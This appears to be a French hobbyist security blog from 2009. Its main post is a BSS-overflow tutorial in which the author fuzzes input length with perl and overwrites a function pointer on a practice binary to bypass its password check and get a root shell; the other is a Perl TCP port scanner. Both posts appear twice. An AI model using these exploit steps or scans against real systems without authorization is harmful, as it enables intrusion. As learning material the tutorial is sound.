bonjour, à tous !
Ca y est je suis de retour, j'ai eu pas mal d'obligation et je ne pouvais pas continuer mes projets.
Donc je reviens bien décidé a reprendre les bases ... ;) de toute facon je n'étais guère plus haut !
Je viens d'attaquer le C, kmkz me donne de précieux conseils comme toujours !
Pour ce qui de mon projet SILC, le serveur est toujours en sommeil, je vais revoir tout çà de plus près avant de relancer le monstre, une exploit est sortie ... rien que par précaution je préfère attendre de voir ce qu'elle touche et bien colmater la brèche.
J'ai une grosse révision a faire en PERl, quite a tout revoir un petit coup
Le prochain meet 2600 Nimois, sera avec un peu de SE, Avec KmkZ, Zadyree, Hebiko, Hellpast, and me.
Pour terminer, une petit passage d'anthologie "Les gens du réseaux" ...
Sur ce j'ai un TP en C a terminé, @ +
vendredi 24 juillet 2009
jeudi 26 février 2009
lundi 23 février 2009
.Bss Overflow -
Bonjour à tous,
je voulez vous faire part d'un petit article concernant les BSS overflow,
Mon exemple est simple, un programme requiert une authentification et on souhaite tout même l'exécuter. Le principe est d'écraser l'adresse de la pile par une adresse forgée "payload", ce qui aura pour effet de passer au dessus de cette authentification.
[hyp@localhost Bss_overflow]$ ./Sysinfos
(*) -Syntaxe: ./Sysinfos [password]
si je tente de taper un mot de passe, a moins d'avoir le bon je vais être jeté.
Donc on va voir ce que l'on peut trouver sur notre programme, à l'aide de certains utilitaires comme File, Nm gdb, ldd...
file => Détermine le format d'exécutable
gdb => Désassembleur / débuggueur
nm => Éditeur de section et de segment binaire
objdump => Désassembleur / débuggueur
Il s'agit de quel type de fichier ? on vas utiliser file
Sysinfos: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.9, dynamically linked (uses shared libs), not stripped - type de fichier linux.
le premier tool auquel on pourrait penser est un désassembleur objdump
Les sections qui vont nous intéresse et .text ou le programme s'exécute il ne faut pas se faire avoir par les autres sections et leurs éventuelles brèves.
voici le passage qui nous intéresse .text
Contents of section .text:
80483e0 31ed5e89 e183e4f0 50545268 f0850408 1.^.....PTRh....
80483f0 68008604 08515668 94840408 e85fffff h....QVh....._..
8048400 fff49090 90909090 90909090 90909090 ................
8048410 5589e553 83ec0480 3dbc9804 08007540 U..S....=.....u@
8048420 8b15c098 0408b8b0 9704082d ac970408 ...........-....
8048430 c1f8028d 58ff39da 731f8db6 00000000 ....X.9.s.......
8048440 8d4201a3 c0980408 ff1485ac 9704088b .B..............
8048450 15c09804 0839da72 e7c605bc 98040801 .....9.r........
8048460 83c4045b 5dc38d76 008dbc27 00000000 ...[]..v...'....
8048470 5589e583 ec08a1b4 97040885 c07412b8 U............t..
8048480 00000000 85c07409 c70424b4 970408ff ......t...$.....
8048490 d0c9c390 8d4c2404 83e4f0ff 71fc5589 .....L$.....q.U.
80484a0 e55183ec 24894de4 8b45e483 38027424 .Q..$.M..E..8.t$
80484b0 8b55e48b 42048b00 89442404 c70424b0 .U..B....D$...$.
80484c0 860408e8 c8feffff c7042400 000000e8 ..........$.....
80484d0 fcfeffff c704241d 000000e8 c0feffff ......$.........
80484e0 8945f8c7 4424081f 000000c7 442404d0 .E..D$......D$..
80484f0 8604088b 45f88904 24e872fe ffff8b45 ....E...$.r....E
8048500 f883c005 c600638b 45f883c0 16c60000 ......c.E.......
8048510 b8668504 08a3e498 04088b55 e48b4204 .f.........U..B.
8048520 83c0048b 00894424 04c70424 c4980408 ......D$...$....
8048530 e84bfeff ff8b45f8 83c008c6 005f8b45 .K....E......_.E
8048540 f883c009 c6002e8b 15e49804 088b45f8 ..............E.
8048550 89442404 c70424c4 980408ff d283c424 .D$...$........$
8048560 595d8d61 fcc35589 e583ec08 8b450c83 Y].a..U......E..
8048570 c00bc600 0d8b450c 83c00cc6 000ac704 ......E.........
8048580 24f08604 08e826fe ffff8b45 0c894424 $.....&....E..D$
8048590 048b4508 890424e8 24feffff 85c07507 ..E...$.$.....u.
80485a0 e8150000 00eb05e8 22000000 c7042418 ........".....$.
80485b0 870408e8 f8fdffff c9c35589 e583ec08 ..........U.....
80485c0 c704244c 870408e8 c4fdffff c9c35589 ..$L..........U.
80485d0 e583ec08 c7042486 870408e8 b0fdffff ......$.........
80485e0 c9c35589 e55dc390 90909090 90909090 ..U..]..........
80485f0 5589e55d c38d7426 008dbc27 00000000 U..]..t&...'....
8048600 5589e557 5653e84f 00000081 c3791200 U..WVS.O.....y..
8048610 0083ec0c e8f7fcff ff8dbb20 ffffff8d ........... ....
8048620 8320ffff ff29c7c1 ff0285ff 742431f6 . ...)......t$1.
8048630 8b451089 4424088b 450c8944 24048b45 .E..D$..E..D$..E
8048640 08890424 ff94b320 ffffff83 c60139fe ...$... ......9.
8048650 72de83c4 0c5b5e5f 5dc38b1c 24c39090 r....[^_]...$...
8048660 5589e553 83ec04a1 a4970408 83f8ff74 U..S...........t
8048670 13bba497 04086690 83eb04ff d08b0383 ......f.........
8048680 f8ff75f4 83c4045b 5dc39090
Pour chercher l'adresse valable cela risque d'être dur
on va utiliser Nm un éditeur de segment binaire
ubuntu@ubuntu:/media/xxx/BSS$ nm Sysinfos
080497b8 d _DYNAMIC
08049884 d _GLOBAL_OFFSET_TABLE_
080486ac R _IO_stdin_used
w _Jv_RegisterClasses
080497a8 d __CTOR_END__
080497a4 d __CTOR_LIST__
080497b0 D __DTOR_END__
080497ac d __DTOR_LIST__
080487a0 r __FRAME_END__
080497b4 d __JCR_END__
080497b4 d __JCR_LIST__
080498bc A __bss_start
080498b4 D __data_start
08048660 t __do_global_ctors_aux
08048410 t __do_global_dtors_aux
080498b8 D __dso_handle
w __gmon_start__
0804865a T __i686.get_pc_thunk.bx
080497a4 d __init_array_end
080497a4 d __init_array_start
080485f0 T __libc_csu_fini
08048600 T __libc_csu_init
U __libc_start_main@@GLIBC_2.0
080498bc A _edata
080498e8 A _end
0804868c T _fini
080486a8 R _fp_hw
08048310 T _init
080483e0 T _start
08048566 T auth
080485ba T auth_
080498c4 b buffer.1699
080498bc b completed.6610
080498b4 W data_start
080498c0 b dtor_idx.6612
U exit@@GLIBC_2.0
08048470 t frame_dummy
080498e4 b function_ptr.1698
08048494 T main
U malloc@@GLIBC_2.0
U memcpy@@GLIBC_2.0
U printf@@GLIBC_2.0
U puts@@GLIBC_2.0
U strcmp@@GLIBC_2.0
U strcpy@@GLIBC_2.0
080485ce T success
080485e2 T welcome
Cela devient déjà plus intéressant, on cherche a passé l'authentification de ce programme et justement deux adresses correspondent.
08048566 T auth
080485ba T auth_
Donc maintenant on va utiliser perl pour savoir combien d'octets sont contenu dans se programme.
Si on passe au dessus de la valeur en octet le programme plante; si on est en dessous il continue a fonctionner.
ubuntu@ubuntu:/media/xxx/BSS$ ./Sysinfos `perl -e 'print "A"x28'`
Vérification de votre mot de passe..
Ceci est un leur !
(!) L'authentification a échoué.
Try again !
Le programme continue a fonctionner donc on vas doucement monter
ubuntu@ubuntu:/media/xxx/BSS$ ./Sysinfos `perl -e 'print "A"x30'`
Vérification de votre mot de passe..
Ceci est un leur !
(!) L'authentification a échoué.
Try again !
( j'ai testé 31 )
ubuntu@ubuntu:/media/xxx/BSS$ ./Sysinfos `perl -e 'print "A"x32'`
Segmentation fault (core dumped)
ubuntu@ubuntu:/media/xxx/BSS$
ca y est on a le nombre exact ! 32
donc il reste deux adresses a tester, on vas forger les payload avec ces deux adresses automatiquement l'une sera la bonne, sinon le créateur du programme a sacrement bien offusqué son code.
ubuntu@ubuntu:/media/xxx/BSS$ ./Sysinfos `perl -e 'print "A"x32'``printf "\x66\x85\x04\x08"`
Vérification de votre mot de passe..
Ceci est un leur !
(!) L'authentification a échoué.
Try again !
Apparemment cela ne fonctionne pas donc on vas tenter avec l'autre adresse
ubuntu@ubuntu:/media/xxx/BSS$ ./Sysinfos `perl -e 'print "A"x32'``printf "\xba\x85\x04\x08"`
'+) Authentification réussie...
U'r root!
sh 3.0 #
Et voilà vous êtes devenu admin après quelques minutes, avant de finir je voudrais remercier KmkZ pour m'avoir fait connaître les .bss qui sont devenues mes amies maintenant ;-)
++
:::::::: H Y P ::::::::::::
je voulez vous faire part d'un petit article concernant les BSS overflow,
Mon exemple est simple, un programme requiert une authentification et on souhaite tout même l'exécuter. Le principe est d'écraser l'adresse de la pile par une adresse forgée "payload", ce qui aura pour effet de passer au dessus de cette authentification.
[hyp@localhost Bss_overflow]$ ./Sysinfos
(*) -Syntaxe: ./Sysinfos [password]
si je tente de taper un mot de passe, a moins d'avoir le bon je vais être jeté.
Donc on va voir ce que l'on peut trouver sur notre programme, à l'aide de certains utilitaires comme File, Nm gdb, ldd...
file => Détermine le format d'exécutable
gdb => Désassembleur / débuggueur
nm => Éditeur de section et de segment binaire
objdump => Désassembleur / débuggueur
Il s'agit de quel type de fichier ? on vas utiliser file
Sysinfos: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.9, dynamically linked (uses shared libs), not stripped - type de fichier linux.
le premier tool auquel on pourrait penser est un désassembleur objdump
Les sections qui vont nous intéresse et .text ou le programme s'exécute il ne faut pas se faire avoir par les autres sections et leurs éventuelles brèves.
voici le passage qui nous intéresse .text
Contents of section .text:
80483e0 31ed5e89 e183e4f0 50545268 f0850408 1.^.....PTRh....
80483f0 68008604 08515668 94840408 e85fffff h....QVh....._..
8048400 fff49090 90909090 90909090 90909090 ................
8048410 5589e553 83ec0480 3dbc9804 08007540 U..S....=.....u@
8048420 8b15c098 0408b8b0 9704082d ac970408 ...........-....
8048430 c1f8028d 58ff39da 731f8db6 00000000 ....X.9.s.......
8048440 8d4201a3 c0980408 ff1485ac 9704088b .B..............
8048450 15c09804 0839da72 e7c605bc 98040801 .....9.r........
8048460 83c4045b 5dc38d76 008dbc27 00000000 ...[]..v...'....
8048470 5589e583 ec08a1b4 97040885 c07412b8 U............t..
8048480 00000000 85c07409 c70424b4 970408ff ......t...$.....
8048490 d0c9c390 8d4c2404 83e4f0ff 71fc5589 .....L$.....q.U.
80484a0 e55183ec 24894de4 8b45e483 38027424 .Q..$.M..E..8.t$
80484b0 8b55e48b 42048b00 89442404 c70424b0 .U..B....D$...$.
80484c0 860408e8 c8feffff c7042400 000000e8 ..........$.....
80484d0 fcfeffff c704241d 000000e8 c0feffff ......$.........
80484e0 8945f8c7 4424081f 000000c7 442404d0 .E..D$......D$..
80484f0 8604088b 45f88904 24e872fe ffff8b45 ....E...$.r....E
8048500 f883c005 c600638b 45f883c0 16c60000 ......c.E.......
8048510 b8668504 08a3e498 04088b55 e48b4204 .f.........U..B.
8048520 83c0048b 00894424 04c70424 c4980408 ......D$...$....
8048530 e84bfeff ff8b45f8 83c008c6 005f8b45 .K....E......_.E
8048540 f883c009 c6002e8b 15e49804 088b45f8 ..............E.
8048550 89442404 c70424c4 980408ff d283c424 .D$...$........$
8048560 595d8d61 fcc35589 e583ec08 8b450c83 Y].a..U......E..
8048570 c00bc600 0d8b450c 83c00cc6 000ac704 ......E.........
8048580 24f08604 08e826fe ffff8b45 0c894424 $.....&....E..D$
8048590 048b4508 890424e8 24feffff 85c07507 ..E...$.$.....u.
80485a0 e8150000 00eb05e8 22000000 c7042418 ........".....$.
80485b0 870408e8 f8fdffff c9c35589 e583ec08 ..........U.....
80485c0 c704244c 870408e8 c4fdffff c9c35589 ..$L..........U.
80485d0 e583ec08 c7042486 870408e8 b0fdffff ......$.........
80485e0 c9c35589 e55dc390 90909090 90909090 ..U..]..........
80485f0 5589e55d c38d7426 008dbc27 00000000 U..]..t&...'....
8048600 5589e557 5653e84f 00000081 c3791200 U..WVS.O.....y..
8048610 0083ec0c e8f7fcff ff8dbb20 ffffff8d ........... ....
8048620 8320ffff ff29c7c1 ff0285ff 742431f6 . ...)......t$1.
8048630 8b451089 4424088b 450c8944 24048b45 .E..D$..E..D$..E
8048640 08890424 ff94b320 ffffff83 c60139fe ...$... ......9.
8048650 72de83c4 0c5b5e5f 5dc38b1c 24c39090 r....[^_]...$...
8048660 5589e553 83ec04a1 a4970408 83f8ff74 U..S...........t
8048670 13bba497 04086690 83eb04ff d08b0383 ......f.........
8048680 f8ff75f4 83c4045b 5dc39090
Pour chercher l'adresse valable cela risque d'être dur
on va utiliser Nm un éditeur de segment binaire
ubuntu@ubuntu:/media/xxx/BSS$ nm Sysinfos
080497b8 d _DYNAMIC
08049884 d _GLOBAL_OFFSET_TABLE_
080486ac R _IO_stdin_used
w _Jv_RegisterClasses
080497a8 d __CTOR_END__
080497a4 d __CTOR_LIST__
080497b0 D __DTOR_END__
080497ac d __DTOR_LIST__
080487a0 r __FRAME_END__
080497b4 d __JCR_END__
080497b4 d __JCR_LIST__
080498bc A __bss_start
080498b4 D __data_start
08048660 t __do_global_ctors_aux
08048410 t __do_global_dtors_aux
080498b8 D __dso_handle
w __gmon_start__
0804865a T __i686.get_pc_thunk.bx
080497a4 d __init_array_end
080497a4 d __init_array_start
080485f0 T __libc_csu_fini
08048600 T __libc_csu_init
U __libc_start_main@@GLIBC_2.0
080498bc A _edata
080498e8 A _end
0804868c T _fini
080486a8 R _fp_hw
08048310 T _init
080483e0 T _start
08048566 T auth
080485ba T auth_
080498c4 b buffer.1699
080498bc b completed.6610
080498b4 W data_start
080498c0 b dtor_idx.6612
U exit@@GLIBC_2.0
08048470 t frame_dummy
080498e4 b function_ptr.1698
08048494 T main
U malloc@@GLIBC_2.0
U memcpy@@GLIBC_2.0
U printf@@GLIBC_2.0
U puts@@GLIBC_2.0
U strcmp@@GLIBC_2.0
U strcpy@@GLIBC_2.0
080485ce T success
080485e2 T welcome
Cela devient déjà plus intéressant, on cherche a passé l'authentification de ce programme et justement deux adresses correspondent.
08048566 T auth
080485ba T auth_
Donc maintenant on va utiliser perl pour savoir combien d'octets sont contenu dans se programme.
Si on passe au dessus de la valeur en octet le programme plante; si on est en dessous il continue a fonctionner.
ubuntu@ubuntu:/media/xxx/BSS$ ./Sysinfos `perl -e 'print "A"x28'`
Vérification de votre mot de passe..
Ceci est un leur !
(!) L'authentification a échoué.
Try again !
Le programme continue a fonctionner donc on vas doucement monter
ubuntu@ubuntu:/media/xxx/BSS$ ./Sysinfos `perl -e 'print "A"x30'`
Vérification de votre mot de passe..
Ceci est un leur !
(!) L'authentification a échoué.
Try again !
( j'ai testé 31 )
ubuntu@ubuntu:/media/xxx/BSS$ ./Sysinfos `perl -e 'print "A"x32'`
Segmentation fault (core dumped)
ubuntu@ubuntu:/media/xxx/BSS$
ca y est on a le nombre exact ! 32
donc il reste deux adresses a tester, on vas forger les payload avec ces deux adresses automatiquement l'une sera la bonne, sinon le créateur du programme a sacrement bien offusqué son code.
ubuntu@ubuntu:/media/xxx/BSS$ ./Sysinfos `perl -e 'print "A"x32'``printf "\x66\x85\x04\x08"`
Vérification de votre mot de passe..
Ceci est un leur !
(!) L'authentification a échoué.
Try again !
Apparemment cela ne fonctionne pas donc on vas tenter avec l'autre adresse
ubuntu@ubuntu:/media/xxx/BSS$ ./Sysinfos `perl -e 'print "A"x32'``printf "\xba\x85\x04\x08"`
'+) Authentification réussie...
U'r root!
sh 3.0 #
Et voilà vous êtes devenu admin après quelques minutes, avant de finir je voudrais remercier KmkZ pour m'avoir fait connaître les .bss qui sont devenues mes amies maintenant ;-)
++
:::::::: H Y P ::::::::::::
samedi 21 février 2009
Projet server SILC
Depuis pas mal de temps la scène Français se trouve privé d'un serveur SILC, je me lance donc sur ce projet fastidieux avec KmkZ, vous serez tenu au courant de ce projet. Si vous avez des suggestions n'hésitez a les soumettre.
samedi 14 février 2009
#!/Perl Scan + Scan Fork
Voici ma première appz, un scanner de port simple,Ici j'ai utilisé le module IO::Socket::INET.Le premier code est des plus basique et non épuré.Le second code est optimisé avec l'utilisation d'un processus fils "fork".
#!/usr/bin/perl
use strict;
use IO::Socket::INET;
print " veuillez insérer vos arguments : \n
:::Host : timeout : Protocole : port d'entrée : port de sortie::: \n";
my $host = $ARGV[0];
my $time = $ARGV[1];
my $proto = $ARGV[2];
my $portent = $ARGV[3];
my $portsort = $ARGV[4];
if(@ARGV == 5 )
{
for ( $portent ; $portent <= $portsort ; $portent++ )
{
my $socket = IO::Socket::INET -> new (
PeerHost => $host,
Timeout => $time,
Proto => $proto,
PeerPort => $portent);
next if !($socket && $socket -> connected());
print " [+] Port open $portent \n";
close $socket;
}
}
else { die "Arguments invalides\n\n"}
exit(1);
Code Optimisé :
#!/usr/bin/perl
use IO::Socket::INET;
print " veuillez insérer vos arguments : \n
:::Host : timeout : Protocole : port d'entrée : port de sortie::: \n";
($host, $time, $proto, $portent, $portsort) = @ARGV;
if(@ARGV == 5 )
{
$pid = fork;
die"fork impossible" if ! defined ($pid);
unless($pid){
for ( $portent ; $portent <= $portsort ; $portent++ ) { $socket = IO::Socket::INET -> new (
PeerHost => $host,
Timeout => $time,
Proto => $proto,
PeerPort => $portent);
next if !($socket );
print " [+] Port open $portent \n";
}
}
waitpid($pid, 0);
}
else { die "Arguments invalides\n\n"}
Merci a kmkz pour ses nombreux et précieux conseils.
#!/usr/bin/perl
use strict;
use IO::Socket::INET;
print " veuillez insérer vos arguments : \n
:::Host : timeout : Protocole : port d'entrée : port de sortie::: \n";
my $host = $ARGV[0];
my $time = $ARGV[1];
my $proto = $ARGV[2];
my $portent = $ARGV[3];
my $portsort = $ARGV[4];
if(@ARGV == 5 )
{
for ( $portent ; $portent <= $portsort ; $portent++ )
{
my $socket = IO::Socket::INET -> new (
PeerHost => $host,
Timeout => $time,
Proto => $proto,
PeerPort => $portent);
next if !($socket && $socket -> connected());
print " [+] Port open $portent \n";
close $socket;
}
}
else { die "Arguments invalides\n\n"}
exit(1);
Code Optimisé :
#!/usr/bin/perl
use IO::Socket::INET;
print " veuillez insérer vos arguments : \n
:::Host : timeout : Protocole : port d'entrée : port de sortie::: \n";
($host, $time, $proto, $portent, $portsort) = @ARGV;
if(@ARGV == 5 )
{
$pid = fork;
die"fork impossible" if ! defined ($pid);
unless($pid){
for ( $portent ; $portent <= $portsort ; $portent++ ) { $socket = IO::Socket::INET -> new (
PeerHost => $host,
Timeout => $time,
Proto => $proto,
PeerPort => $portent);
next if !($socket );
print " [+] Port open $portent \n";
}
}
waitpid($pid, 0);
}
else { die "Arguments invalides\n\n"}
Merci a kmkz pour ses nombreux et précieux conseils.
Bienvenue - Blog HyP
Le commencement
Voilà un mois, que je fais connaissance avec un nouveau language "Le PERL", et voici mon premier blog où je posterai mes appz.En espérant que vous y trouvez un interêt.
Cordialement H.y.P
Voilà un mois, que je fais connaissance avec un nouveau language "Le PERL", et voici mon premier blog où je posterai mes appz.En espérant que vous y trouvez un interêt.
Cordialement H.y.P
Inscription à :
Messages (Atom)


